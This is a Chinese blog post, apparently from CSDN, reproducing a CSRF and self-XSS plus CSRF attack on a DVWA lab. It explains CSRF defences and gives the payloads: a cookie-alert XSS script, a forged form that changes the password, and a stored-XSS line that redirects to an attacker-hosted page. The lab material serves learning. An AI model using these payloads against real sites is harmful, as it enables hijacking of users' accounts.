• self xss+csrf dvwa靶机复现


    CSRF

    原理:攻击者发现网站存在CSRF漏洞后构造payload制作成网页,用户访问存在CSRF漏洞的网站且登陆到后台获取cookie,此时攻击者将payload网站给到用户,用户打开网站后执行payload造成一次CSRF攻击。

    产生原因:服务器没有对客户端的用户做身份校验,验证用户身份是否合法,导致用户能随意的上传内容。 

    防止CSRF的方式:

    • 重要信息添加验证功能
    • 校验referer,referer记录网站跳转成功后的网站,验证referer一般使用同源策略(URL域名+协议+端口)一致
    • 校验token,token为一串随机字符,控制网站访问流程

    CSRF案例

    1、首先调整DVWA的难易程度

     2、测试CSRF

    在含有CSRF漏洞中,我们提交的数据是直接在URL栏中显示,如果有人将这样带着修改密码的URL地址诱导人们点击,就会在不知道的情况下修改了自己的密码。 

    此时我们加上token值时,每次我们发送数据时都会带上一段token值,服务端看到有token值时就相当于验证用户身份,而攻击者发送恶意数据时不会生成token值,就不会被服务端识别。

    <input type="hidden" name="token" value="">


    self XSS

    self XSS可以获得cookie值,但是由于只能在自己的网站上使用,所以获取的cookie值为自己的cookie值

    <script>alert(document.cookie)script>

     

    self XSS + CSRF 

    1、我们使用CSRFTester软件,该软件监听8008接口 

    2、调整服务器代理

     3、提交CSRF中修改的密码

    4、生成form表单

     生成的form表单为

    1. "GET" name="form0" action="http://127.0.0.1:80/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">
    2. <input type="hidden" name="password_new" value="123456"/>
    3. <input type="hidden" name="password_conf" value="123456"/>
    4. <input type="hidden" name="Change" value="Change" />

    5、构造XSS代码,测试是否成功

    <script src="x" onerror=javascript:window.open("http://192.168.1.100/index.html")>script>

    6、之后有人访问存储型XSS模块页面,浏览器会自动跳转,同时返回修改密码的界面,当界面中有Password Changed ,就说明用户的密码修改成功了。

  • 相关阅读:
    linux系统操作/基本命令/vim/权限修改/用户建立
    【MySQL】第13章_约束
    ICCV 2023|小红书 4 篇入选论文亮点解读,「开集视频目标分割」获得 Oral
    树状数组及其拓展
    海运整柜出口操作流程有哪些注意事项?
    STM32国产替代方案
    04747 java程序设计笔记 --多线程
    jxTMS设计思想之兴趣点
    vue3与vue2之全局变量的使用
    一文搞懂 Python 的模块和包,在实战中的最佳实践
  • 原文地址:https://blog.csdn.net/qq_52016943/article/details/126348239